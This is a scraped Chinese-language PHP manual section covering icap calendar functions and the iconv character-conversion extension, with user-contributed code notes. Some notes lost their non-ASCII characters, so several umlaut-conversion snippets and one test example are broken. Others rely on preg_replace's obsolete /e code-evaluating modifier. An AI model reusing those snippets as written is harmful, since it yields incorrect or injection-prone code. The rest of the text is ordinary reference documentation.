icap_reopen -- Reopen ICAP stream to new calendar

Description

int icap_reopen ( int stream_id, string calendar [, int options] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_rename_calendar | 上一级 | icap_snooze


icap_snooze

(PHP 4 <= 4.2.3)

icap_snooze -- Snooze an alarm

Description

string icap_snooze ( int stream_id, int uid )

icap_snooze() turns on an alarm for a calendar event specified by the uid.

Returns TRUE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_reopen | 上一级 | icap_store_event


icap_store_event

(PHP 4 <= 4.2.3)

icap_store_event -- Store an event into an ICAP calendar

Description

string icap_store_event ( int stream_id, object event )

icap_store_event() Stores an event into an ICAP calendar. An event object consists of:

  • int public - 1 if public, 0 if private;

  • string category - Category string of the event.

  • string title - Title string of the event.

  • string description - Description string of the event.

  • int alarm - Number of minutes before the event to send out an alarm.

  • datetime start - datetime object of the start of the event.

  • datetime end - datetime object of the end of the event.

All datetime entries consist of an object that contains:

  • int year - year

  • int month - month

  • int mday - day of month

  • int hour - hour

  • int min - minutes

  • int sec - seconds

Returns TRUE on success and FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
icap_snooze | 上一级 | iconv Functions


iconv Functions

PHP 手册
后退 前进

LII. iconv Functions

简介

This module contains an interface to iconv character set conversion facility. With this module, you can turn a string represented by a local character set into the one represented by another character set, which may be the Unicode character set. Supported character sets depend on the iconv implementation of your system. Note that the iconv function on some systems may not work as you expect. In such case, it'd be a good idea to install the GNU libiconv library. It will most likely end up with more consistent results.

Since PHP 5.0.0, this extension comes with various utility functions that help you to write multilingual scripts. Let's have a look at the following sections to explore the new features.

需求

You will need nothing if the system you are using is one of the recent POSIX-compliant systems because standard C libraries that are supplied in them must provide iconv facility. Otherwise, you have to get the libiconv library installed in your system.

安装

To use functions provided by this module, the PHP binary must be built with the following configure line: --with-iconv[=DIR].

Note to Windows Users: In order to enable this module on a Windows environment, you need to put a DLL file named iconv.dll or iconv-1.3.dll (prior to 4.2.1) which is bundled with the PHP/Win32 binary package into a directory specified by the PATH environment variable or one of the system directories of your Windows installation.

This module is part of PHP as of PHP 5 thus iconv.dll and php_iconv.dll is not needed anymore.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Iconv configuration options

Name | Default | Changeable | Changelog
iconv.input_encoding | "ISO-8859-1" | PHP_INI_ALL | Available since PHP 4.0.5.
iconv.output_encoding | "ISO-8859-1" | PHP_INI_ALL | Available since PHP 4.0.5.
iconv.internal_encoding | "ISO-8859-1" | PHP_INI_ALL | Available since PHP 4.0.5.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

注: Configuration option iconv.input_encoding is currently not used for anything.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

Since PHP 4.3.0 it is possible to identify at runtime which iconv implementation is adopted by this extension.

表格 2. iconv constants

Name | Type | Description
ICONV_IMPL | string | The implementation name
ICONV_VERSION | string | The implementation version

注: Writing implementation-dependent scripts with these constants is strongly discouraged.

Since PHP 5.0.0, the following constants are also available:

表格 3. iconv constants available since PHP 5.0.0

Name | Type | Description
ICONV_MIME_DECODE_STRICT | integer | A bitmask used for iconv_mime_decode()
ICONV_MIME_DECODE_CONTINUE_ON_ERROR | integer | A bitmask used for iconv_mime_decode()

参见

See also GNU Recode functions.

目录
iconv_get_encoding -- Retrieve internal configuration variables of iconv extension
iconv_mime_decode_headers -- Decodes multiple MIME header fields at once
iconv_mime_decode -- Decodes a MIME header field
iconv_mime_encode -- Composes a MIME header field
iconv_set_encoding -- Set current setting for character encoding conversion
iconv_strlen -- Returns the character count of string
iconv_strpos -- Finds position of first occurrence of a needle within a haystack
iconv_strrpos -- Finds the last occurrence of a needle within the specified range of haystack
iconv_substr -- Cut out part of a string
iconv -- Convert string to requested character encoding
ob_iconv_handler -- Convert character encoding as output buffer handler

add a note add a note User Contributed Notes
andrej009
16-Mar-2006 08:22
There's one more special german character:  (sometimes displayed as )

so: case 159: $out .= "";break;
08-Nov-2005 04:05
But this is a very slow method to convert this:

// function to change german umlauts into ue, oe, etc.
function cv_input($str){

Better try this:
$tr = array(chr(xyz) => '', chr(160) => ' '); // Just a simple example, put all your characters in there
$string = strtr($string, $tr);
Christophe Lienert
27-Sep-2005 05:09
In addition to Godfather's note below, you may find this function useful just as well.

// function to change german umlauts into ue, oe, etc.
function cv_input($str){
     $out = "";
     for ($i = 0; $i<strlen($str);$i++){
           $ch= ord($str{$i});
           switch($ch){
               case 195: $out .= "";break;
               case 164: $out .= "ae"; break;
               case 188: $out .= "ue"; break;
               case 182: $out .= "oe"; break;
               case 132: $out .= "Ae"; break;
               case 156: $out .= "Ue"; break;
               case 150: $out .= "Oe"; break;
               default : $out .= chr($ch) ;
           }
     }
     return $out;
}
The Godfather
15-Dec-2004 09:36
With this function you can translate the german Symbols from the character set UTF-8 in windows-1252.

function convert_text($str){
  $out = '';
  for ($i = 0; $i<strlen($str);$i++){
   $ch = ord($str{$i});
   switch($ch){
         case 252: $out .= chr(129);break; //u Umlaut
         case 220: $out .= chr(154);break;//U Umlaut
         case 228: $out .= chr(132);break;//a Umlaut
         case 196: $out .= chr(142);break;//A Umlaut
         case 214: $out .= chr(153);break;//O Umlaut
         case 246: $out .= chr(148);break;//o Umlaug
         case 223: $out .= chr(225);break;//SZ
         default : $out .= chr($ch) ;
   }
  }
  return $out;
}
tokiee at hotmail dot com
19-Aug-2004 04:40
iconv now has been built-in, at least in PHP >= 5.0.1 for win32. You don't have to modify php.ini for this. Actually you should not. And clearly, libiconv does not need to be installed.
thierry.bo
24-Dec-2003 06:26
Windows users.

Personaly I leaved all php dlls in \php\dlls\ directory, just adding this path to my system path, and iconv.dll supplied with php 4.3.2 works fine, also leaving supplied php_iconv.dll in my \php\extensions\ directory. This was working fine with Apache and Omnihttpd server I use.

As soon I installed IIS on the same server, php complained about not finding php_iconv.dll in the extensions directory. In fact PHP with IIS loads all extensions in my \php\extensions directory correctly, except php_iconv.dll.
Although iconv.dll is in my system path, the only way to load php_iconv.dll was to copy iconv.dll file in \%winnt\system32 directory. With other servers, iconv.dll can be in anywhere in the system path.
ALecFFer
07-Nov-2003 08:10
To windows users:

Download here iconv version 1.9.1:
http://www.zlatkovic.com/pub/libxml/iconv-1.9.1.win32.zip
14-Sep-2002 08:23
I'm not sure how recent version of
glibc 2.x Slackware 7.x/8.x comes with, but
it's very likely that it comes with glibc 2.2.x.
In that case, you don't have to bother at all to
install libiconv in /usr/local. iconv(3) in glibc 2.2.x
is very good (thanks to Ulrich Drepper and
Bruno Haible. the latter is the author of libiconv).
libiconv is very handy for those outdated/non-standard-compliant Unix
and non-Unix systems that don't have
sufficiently good iconv(3) in their C library.
elk at NOSPAMmodel-fx dot com
27-Jul-2002 12:07
If you use the libiconv library instead of the libc's iconv support, don't forget to use libiconv() instead of iconv()
elk at NOSPAMmodel-fx dot com
25-Jul-2002 11:39
To compile libiconv under Slackware 7.0 or 8.0 without errors (either with the apache module of PHP or the CGI version), you must specify the full path of the libiconv installation.

Exemple :

       --with-iconv=/usr/local
add a note add a note

后退 | 起点 | 前进
icap_store_event | 上一级 | iconv_get_encoding


iconv_get_encoding

(PHP 4 >= 4.0.5, PHP 5)

iconv_get_encoding -- Retrieve internal configuration variables of iconv extension

Description

mixed iconv_get_encoding ( [string type] )

iconv_get_encoding() returns the current value of the internal configuration variable if successful, or FALSE on failure.

The value of the optional type can be:

all
input_encoding
output_encoding
internal_encoding

If type is omitted or set to "all", iconv_get_encoding() returns an array that stores all these variables.

例子 1. iconv_get_encoding() example

<pre>
<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
var_dump(iconv_get_encoding('all'));
?>
</pre>

The printout of the above program will be:

Array
(
    [input_encoding] => ISO-8859-1
    [output_encoding] => ISO-8859-1
    [internal_encoding] => UTF-8
)

See also iconv_set_encoding() and ob_iconv_handler().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv Functions | 上一级 | iconv_mime_decode_headers


iconv_mime_decode_headers

(PHP 5)

iconv_mime_decode_headers -- Decodes multiple MIME header fields at once

Description

array iconv_mime_decode_headers ( string encoded_headers [, int mode [, string charset]] )

Returns an associative array that holds a whole set of MIME header fields specified by encoded_headers on success, or FALSE if an error occurs during the decoding.

Each key of the return value represents an individual field name and the corresponding element represents a field value. If more than one field of the same name are present, iconv_mime_decode_headers() automatically incorporates them into a numerically indexed array in the order of occurrence.

mode determines the behaviour in the event iconv_mime_decode_headers() encounters a malformed MIME header field. You can specify any combination of the following bitmasks.

表格 1. Bitmasks acceptable to iconv_mime_decode_headers()

Value | Constant | Description
1 | ICONV_MIME_DECODE_STRICT | If set, the given header is decoded in full conformance with the standards defined in RFC2047. This option is disabled by default because there are a lot of broken mail user agents that don't follow the specification and don't produce correct MIME headers.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | If set, iconv_mime_decode_headers() attempts to ignore any grammatical errors and continue to process a given header.

The optional charset parameter specifies the character set to represent the result by. If omitted, iconv.internal_charset will be used.

例子 1. iconv_mime_decode_headers() example

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");
print_r($headers);
?>

上例将输出：

Array
(
    [Subject] => Prüfung Prüfung
    [To] => example@example.com
    [Date] => Thu, 1 Jan 1970 00:00:00 +0000
    [Message-Id] => <example@example.com>
    [Received] => Array
        (
            [0] => from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <example@example.com>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from example-return-0000-example=example.com@example.com)
            [1] => (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000
        )

)

See also iconv_mime_decode(),
mb_decode_mimeheader(),
imap_mime_header_decode(),
imap_base64()
and imap_qprint().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv_get_encoding | 上一级 | iconv_mime_decode


iconv_mime_decode

(PHP 5)

iconv_mime_decode -- Decodes a MIME header field

Description

string iconv_mime_decode ( string encoded_header [, int mode [, string charset]] )

Returns a decoded MIME field on success, or FALSE if an error occurs during the decoding.

mode determines the behaviour in the event iconv_mime_decode() encounters a malformed MIME header field. You can specify any combination of the following bitmasks.

表格 1. Bitmasks acceptable to iconv_mime_decode()

Value | Constant | Description
1 | ICONV_MIME_DECODE_STRICT | If set, the given header is decoded in full conformance with the standards defined in RFC2047. This option is disabled by default because there are a lot of broken mail user agents that don't follow the specification and don't produce correct MIME headers.
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | If set, iconv_mime_decode() attempts to continue to process the given header even though an error occurs.

The optional charset parameter specifies the character set to represent the result by. If omitted, iconv.internal_charset will be used.

例子 1. iconv_mime_decode() example

<?php
// This yields "Subject: Prüfung Prüfung"
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

See also iconv_mime_decode_headers(),
mb_decode_mimeheader(),
imap_mime_header_decode(),
imap_base64()
and imap_qprint().

add a note add a note User Contributed Notes
dido dot sevilla at gmail dot com
10-Mar-2005 12:00
In PHP versions that have imap_mime_decode built in, it's possible to emulate the operation of this function:

<?php
function iconv_mime_decode($str, $mode=0, $charset="UTF-8")
{
   $data = imap_mime_header_decode($str);
   if (count($data) > 0) {
     // because iconv doesn't like the 'default' for charset
     $charset = ($data[0]->charset == 'default') ? 'ASCII' : $data[0]->charset;
     return(iconv($charset, $charset, $data[0]->text));
   }
   return("");
 }
?>

I've only tried to use this code snippet to decode ISO-2022-JP messages to UTF-8, but I see no reason why it shouldn't work in other cases.
add a note add a note

后退 | 起点 | 前进
iconv_mime_decode_headers | 上一级 | iconv_mime_encode


iconv_mime_encode

(PHP 5)

iconv_mime_encode -- Composes a MIME header field

Description

string iconv_mime_encode ( string field_name, string field_value [, array preferences] )

Composes and returns a string that represents a valid MIME header field, which looks like the following:
Subject: =?ISO-8859-1?Q?Pr=FCfung_f=FCr?= Entwerfen von einer MIME kopfzeile
In the above example, "Subject" is the field name and the portion that begins with "=?ISO-8859-1?..." is the field value.

You can control the behaviour of iconv_mime_encode() by specifying an associative array that contains configuration items to the optional third parameter preferences. The items supported by iconv_mime_encode() are listed below. Note that item names are treated case-sensitive.

表格 1. Configuration items supported by iconv_mime_encode()

Item | Type | Description | Default value | Example
scheme | boolean | Specifies the method to encode a field value by. The value of this item may be either "B" or "Q", where "B" stands for base64 encoding scheme and "Q" stands for quoted-printable encoding scheme. | B | B
input-charset | string | Specifies the character set in which the first parameter field_name and the second parameter field_value are presented. If not given, iconv_mime_encode() assumes those parameters are presented to it in the iconv.internal_charset ini setting. | iconv.internal_charset | ISO-8859-1
output-charset | string | Specifies the character set to use to compose the MIME header. If not given, the same value as input-charset will be used. | the same value as input-charset | UTF-8
line-length | integer | Specifies the maximum length of the header lines. The resulting header is "folded" to a set of multiple lines in case the resulting header field would be longer than the value of this parameter, according to RFC2822 - Internet Message Format. If not given, the length will be limited to 76 characters. | 76 | 996
line-break-chars | string | Specifies the sequence of characters to append to each line as an end-of-line sign when "folding" is performed on a long header field. If not given, this defaults to "\r\n" (CR LF). Note that this parameter is always treated as an ASCII string regardless of the value of input-charset. | \r\n | \n

例子 1. iconv_mime_encode() example:

<?php
$preferences = array(
    "input-charset" => "ISO-8859-1",
    "output-charset" => "UTF-8",
    "line-length" => 76,
    "line-break-chars" => "\n"
);
$preferences["scheme"] = "Q";
// This yields "Subject: =?UTF-8?Q?Pr=C3=BCfung_Pr=C3=BCfung?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);

$preferences["scheme"] = "B";
// This yields "Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);
?>

See also imap_binary(),
mb_encode_mimeheader()
and imap_8bit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv_mime_decode | 上一级 | iconv_set_encoding


iconv_set_encoding

(PHP 4 >= 4.0.5, PHP 5)

iconv_set_encoding -- Set current setting for character encoding conversion

Description

bool iconv_set_encoding ( string type, string charset )

iconv_set_encoding() changes the value of the internal configuration variable specified by type to charset. 如果成功则返回 TRUE，失败则返回 FALSE。

The value of type can be any one of those:

input_encoding
output_encoding
internal_encoding

例子 1. iconv_set_encoding() example:

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
?>

See also iconv_get_encoding() and ob_iconv_handler().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv_mime_encode | 上一级 | iconv_strlen


iconv_strlen

(PHP 5)

iconv_strlen -- Returns the character count of string

Description

int iconv_strlen ( string str [, string charset] )

Returns the character count of str.

In contrast to strlen(), iconv_strlen() counts the occurrences of characters in the given byte sequence str on the basis of the specified character set, the result of which is not necessarily identical to the length of the string in byte.

If charset parameter is omitted, str is assumed to be encoded in iconv.internal_charset.

See also strlen() and mb_strlen().

add a note add a note User Contributed Notes
hfuecks @ nospam org
25-Feb-2006 08:58
If iconv_strlen is passed a UTF-8 string containing badly formed sequences, it will return FALSE. This is in contrast to mb_strlen of the behaviour of utf8_decode, which strip out any bad sequences;

<?php
# UTF-8 string containing bad sequence: \xe9
$str = "Itrntin\xe9liztin";

print "mb_strlen: ".mb_strlen($str,'UTF-8')."\n";
print "strlen/utf8_decode: ".strlen(utf8_decode($str))."\n";
print "iconv_strlen: ".iconv_strlen($str,'UTF-8')."\n";
?>

Displays;

mb_strlen: 20
strlen/utf8_decode: 20
iconv_strlen:

(PHP 5.0.5)

As such it is being "stricter" than mb_strlen and it may mean you need to check for invalid sequences first. A quick way to check is to exploit the behaviour of the PCRE extension (see notes on pattern modifiers);

<?php
if (preg_match('/^.{1}/us',$str,$ar) != 1) {
   die("string contains invalid UTF-8");
}
?>

A slower but stricter check (regex) can be found at: http://www.w3.org/International/questions/qa-forms-utf-8

Similiar applies to iconv_substr, iconv_strpos and iconv_strrpos
add a note add a note

后退 | 起点 | 前进
iconv_set_encoding | 上一级 | iconv_strpos


iconv_strpos

(PHP 5)

iconv_strpos -- Finds position of first occurrence of a needle within a haystack

Description

int iconv_strpos ( string haystack, string needle [, int offset [, string charset]] )

Returns the numeric position of the first occurrence of needle in haystack.

The optional offset parameter specifies the position from which the search should be performed.

If needle is not found, iconv_strpos() will return FALSE.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

In contrast to strpos(), the return value of iconv_strpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set charset.

If charset parameter is omitted, string are assumed to be encoded in iconv.internal_charset.

See also strpos(), iconv_strrpos() and mb_strpos().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv_strlen | 上一级 | iconv_strrpos


iconv_strrpos

(PHP 5)

iconv_strrpos -- Finds the last occurrence of a needle within the specified range of haystack

Description

int iconv_strrpos ( string haystack, string needle [, string charset] )

Returns the numeric position of the last occurrence of needle in haystack.

If needle is not found, iconv_strrpos() will return FALSE.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

In contrast to strpos(), the return value of iconv_strrpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set charset.

See also strrpos(), iconv_strpos() and mb_strrpos().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv_strpos | 上一级 | iconv_substr


iconv_substr

(PHP 5)

iconv_substr -- Cut out part of a string

Description

string iconv_substr ( string str, int offset [, int length [, string charset]] )

Returns the portion of str specified by the start and length parameters.

If start is non-negative, iconv_substr() cuts the portion out of str beginning at start'th character, counting from zero.

If start is negative, iconv_substr() cuts out the portion beginning at the position, start characters away from the end of str.

If length is given and is positive, the return value will contain at most length characters of the portion that begins at start (depending on the length of string). If str is shorter than start characters long, FALSE will be returned.

If negative length is passed, iconv_substr() cuts the portion out of str from the start'th character up to the character that is length characters away from the end of the string. In case start is also negative, the start position is calculated beforehand according to the rule explained above.

Note that offset and length parameters are always deemed to represent offsets that are calculated on the basis of the character set determined by charset, whilst the counterpart substr() always takes these for byte offsets. If charset is not given, the character set is determined by the iconv.internal_encoding ini setting.

See also substr(), mb_substr() and mb_strcut().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
iconv_strrpos | 上一级 | iconv


iconv

(PHP 4 >= 4.0.5, PHP 5)

iconv -- Convert string to requested character encoding

Description

string iconv ( string in_charset, string out_charset, string str )

Performs a character set conversion on the string str from in_charset to out_charset. Returns the converted string or FALSE on failure.

If you append the string //TRANSLIT to out_charset transliteration is activated. This means that when a character can't be represented in the target charset, it can be approximated through one or several similarly looking characters. If you append the string //IGNORE, characters that cannot be represented in the target charset are silently discarded. Otherwise, str is cut from the first illegal character.

例子 1. iconv() example:

<?php
echo iconv("ISO-8859-1", "UTF-8", "This is a test.");
?>

add a note add a note User Contributed Notes
sire at acc dot umu dot se
14-Dec-2005 05:17
If you get this error message: "Notice: iconv(): Detected an illegal character in input string in file.php on line x", and your text or database is likely to contain text copied from Microsoft Word documents, it's very likely that the error is because of the evil 0x96 "long dash" character. MS Word as default converts all double hyphens into this illegal character. The solution is either to convert 0x96 (dash) into the regular 0x2d (hyphen/minus), or to append the //TRANSLIT or //IGNORE parameters (se above).
nilcolor at gmail dot coom
24-Nov-2005 07:29
Didn't know its a feature or not but its works for me (PHP 5.0.4)

iconv('', 'UTF-8', $str)

test it to convert from windows-1251 (stored in DB) to UTF-8 (which i use for web pages).
BTW i convert each array i fetch from DB with array_walk_recursive...
anyean at gmail dot com
30-May-2005 06:23
<?php
//script from http://zizi.kxup.com/
//javascript unesape
function unescape($str) {
  $str = rawurldecode($str);
  preg_match_all("/(?:%u.{4})|&#x.{4};|&#\d+;|.+/U",$str,$r);
  $ar = $r[0];
print_r($ar);
  foreach($ar as $k=>$v) {
   if(substr($v,0,2) == "%u")
     $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
   elseif(substr($v,0,3) == "&#x")
     $ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
   elseif(substr($v,0,2) == "&#") {
echo substr($v,2,-1)."<br>";
     $ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
   }
  }
  return join("",$ar);
}
?>
zhawari at hotmail dot com
01-Feb-2005 07:27
Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
       for ($i=0;$i<strlen($str);$i+=2)
       {
               $substring1 = $str[$i].$str[$i+1];
               $substring2 = $str[$i+2].$str[$i+3];

               if (hexdec($substring1) < 127)
                       $results = "00".$str[$i].$str[$i+1];
               else
               {
                       $results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
                       if ($results < 1000) $results = "0".$results;
                       $i+=2;
               }
               $ucs2 .= $results;
       }
       return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025
PHANTOm <phantom at nix dot co dot il>
28-Jan-2005 04:49
convert windows-1255 to utf-8 with the following code
<?php
$heb = 'put hebrew text here';
$utf = preg_replace("/([\xE0-\xFA])/e","chr(215).chr(ord(\${1})-80)",$heb);
?>
zhawari at hotmail dot com
19-Jan-2005 07:02
Here is how to convert UCS-2 numbers to UTF-8 numbers in hex:

function ucs2toutf8($str)
{
       for ($i=0;$i<strlen($str);$i+=4)
       {
               $substring1 = $str[$i].$str[$i+1];
               $substring2 = $str[$i+2].$str[$i+3];

               if ($substring1 == "00")
               {
                       $byte1 = "";
                       $byte2 = $substring2;
               }
               else
               {
                       $substring = $substring1.$substring2;
                       $byte1 = dechex(192+(hexdec($substring)/64));
                       $byte2 = dechex(128+(hexdec($substring)%64));
               }
               $utf8 .= $byte1.$byte2;
       }
       return $utf8;
}

echo strtoupper(ucs2toutf8("06450631062D0020"));

?>

Input:
06450631062D
Output:
D985D8B1D8AD

regards,
Ziyad
bh
05-Jan-2005 04:10
Great class to convert between charsets: http://mikolajj.republika.pl/
SiMM
11-Dec-2004 03:15
<? // it's only example
function CP1251toUTF8($string){
  $out = '';
  for ($i = 0; $i<strlen($string); ++$i){
   $ch = ord($string{$i});
   if ($ch < 0x80) $out .= chr($ch);
   else
     if ($ch >= 0xC0)
       if ($ch < 0xF0)
             $out .= "\xD0".chr(0x90 + $ch - 0xC0); // &#1040;-&#1071;, &#1072;-&#1087; (A-YA, a-p)
       else $out .= "\xD1".chr(0x80 + $ch - 0xF0); // &#1088;-&#1103; (r-ya)
     else
       switch($ch){
         case 0xA8: $out .= "\xD0\x81"; break; // YO
         case 0xB8: $out .= "\xD1\x91"; break; // yo
         // ukrainian
         case 0xA1: $out .= "\xD0\x8E"; break; // &#1038; (U)
         case 0xA2: $out .= "\xD1\x9E"; break; // &#1118; (u)
         case 0xAA: $out .= "\xD0\x84"; break; // &#1028; (e)
         case 0xAF: $out .= "\xD0\x87"; break; // &#1031; (I..)
         case 0xB2: $out .= "\xD0\x86"; break; // I (I)
         case 0xB3: $out .= "\xD1\x96"; break; // i (i)
         case 0xBA: $out .= "\xD1\x94"; break; // &#1108; (e)
         case 0xBF: $out .= "\xD1\x97"; break; // &#1111; (i..)
         // chuvashian
         case 0x8C: $out .= "\xD3\x90"; break; // &#1232; (A)
         case 0x8D: $out .= "\xD3\x96"; break; // &#1238; (E)
         case 0x8E: $out .= "\xD2\xAA"; break; // &#1194; (SCH)
         case 0x8F: $out .= "\xD3\xB2"; break; // &#1266; (U)
         case 0x9C: $out .= "\xD3\x91"; break; // &#1233; (a)
         case 0x9D: $out .= "\xD3\x97"; break; // &#1239; (e)
         case 0x9E: $out .= "\xD2\xAB"; break; // &#1195; (sch)
         case 0x9F: $out .= "\xD3\xB3"; break; // &#1267; (u)
       }
  }
  return $out;
}
?>
aissam at yahoo dot com
30-Nov-2004 12:20
For those who have troubles in displaying UCS-2 data on browser, here's a simple function that convert ucs2 to html unicode entities :

<?php

 function ucs2html($str) {
   $str=trim($str); // if you are reading from file
   $len=strlen($str);
   $html='';
   for($i=0;$i<$len;$i+=2)
       $html.='&#'.hexdec(dechex(ord($str[$i+1])).
                   sprintf("%02s",dechex(ord($str[$i])))).';';
   return($html);
 }
?>
nikolai-dot-zujev-at-gmail-dot-com
18-Nov-2004 05:14
Here is an example how to convert windows-1251 (windows) or cp1251(Linux/Unix) encoded string to UTF-8 encoding.

<?php
function cp1251_utf8( $sInput )
{
   $sOutput = "";

   for ( $i = 0; $i < strlen( $sInput ); $i++ )
   {
       $iAscii = ord( $sInput[$i] );

       if ( $iAscii >= 192 && $iAscii <= 255 )
           $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
       else if ( $iAscii == 168 )
           $sOutput .= "&#".( 1025 ).";";
       else if ( $iAscii == 184 )
           $sOutput .= "&#".( 1105 ).";";
       else
           $sOutput .= $sInput[$i];
   }

   return $sOutput;
}
?>
vitek at 4rome dot ru
16-Nov-2004 03:53
On some systems there may be no such function as iconv(); this is due to the following reason: a constant is defined named `iconv` with the value `libiconv`. So, the string PHP_FUNCTION(iconv) transforms to PHP_FUNCTION(libiconv), and you have to call libiconv() function instead of iconv().
I had seen this on FreeBSD, but I am sure that was a rather special build.
If you'd want not to be dependent on this behaviour, add the following to your script:
<?php
if (!function_exists('iconv') && function_exists('libiconv')) {
   function iconv($input_encoding, $output_encoding, $string) {
       return libiconv($input_encoding, $output_encoding, $string);
   }
}
?>
Thanks to tony2001 at phpclub.net for explaining this behaviour.
ng4rrjanbiah at rediffmail dot com
22-Jun-2004 11:10
Here is a code to convert ISO 8859-1 to UTF-8 and vice versa without using iconv.

<?php
//Logic from http://twiki.org/cgi-bin/view/Codev/InternationalisationUTF8
$str_iso8859_1 = 'foo in ISO 8859-1';
//ISO 8859-1 to UTF-8
$str_utf8 = preg_replace("/([\x80-\xFF])/e",
           "chr(0xC0|ord('\\1')>>6).chr(0x80|ord('\\1')&0x3F)",
             $str_iso8859_1);
//UTF-8 to ISO 8859-1
$str_iso8859_1 = preg_replace("/([\xC2\xC3])([\x80-\xBF])/e",
               "chr(ord('\\1')<<6&0xC0|ord('\\2')&0x3F)",
                 $str_utf8);
?>

HTH,
R. Rajesh Jeba Anbiah
Igu4n4 at example dot com
06-Jul-2003 12:03
Maybe I was a fool in placing the charset definition string as ISO8859-1 instead of ISO-8859-1 (note the - after ISO) but it worked in PHP 4.3. When I ported the system back to 4.2.2 iconv gave back an empty string without error messages. So beware in PHP 4.2.2 use allways the ISO-88....  charset definition.
add a note add a note

后退 | 起点 | 前进
iconv_substr | 上一级 | ob_iconv_handler


ob_iconv_handler

(PHP 4 >= 4.0.5, PHP 5)

ob_iconv_handler -- Convert character encoding as output buffer handler

Description

string ob_iconv_handler ( string contents, int status )

It converts the string encoded in internal_encoding to output_encoding.

internal_encoding and output_encoding should be defined by iconv_set_encoding() or in the configuration file php.ini.

例子 1. ob_iconv_handler() example:

<?php
ob_start("ob_iconv_handler"); // start output buffering
?>

See also iconv_get_encoding(), iconv_set_encoding() and output-control functions.

add a note add a note User Contributed Notes
st33mann at gmx dot n3t
05-Oct-2005 02:43
Just a quick note that may be helpful for some:
It seems to me that this function also modifies the HTTP Content-Type header that's sent to the client (at least in combination with the iconv_set_encoding() function).

If you specify an encoding ending with "//TRANSLIT" or "//IGNORE" (valid in iconv), it will still send the encoding name in the HTTP header. This makes it an invalid character set unfortunately.

For example:
<?php
iconv_set_encoding("internal_encoding","UTF-8");
iconv_set_encoding("output_encoding","ISO-8859-1//TRANSLIT");
ob_start("ob_iconv_handler");
?>
will send a Content-Type header of "ISO-8859-1//TRANSLIT".
libor dot vanek at gmail dot com
28-Sep-2005 12:58
I've heard, that in PHP 5  is this function ob_iconv_handler working, only if Content-Type is text/* - which can be a problem when it is: application/xhtml+xml

This is NOT confirmed - but if you experience this kind of trouble, this is to check.
add a note add a note

后退 | 起点 | 前进
iconv | 上一级 | ID3 Functions


ID3 Functions

PHP 手册
后退 前进

LIII. ID3 Functions

简介

These functions let you read and manipulate ID3 tags. ID3 tags are used in MP3 files to store title of the song, as well as information about the artist, album, genre, year and track number.

Since version 0.2 it is also possible to extract text frames from ID3 v2.2+ tags.

需求

要编译本扩展模块不需要外部库文件。

安装

id3 is part of PECL and can be installed using the PEAR installer. To compile PHP with id3 support, download the sourcecode, put it in php-src/ext/id3 and compile PHP using --enable-id3.

运行时配置

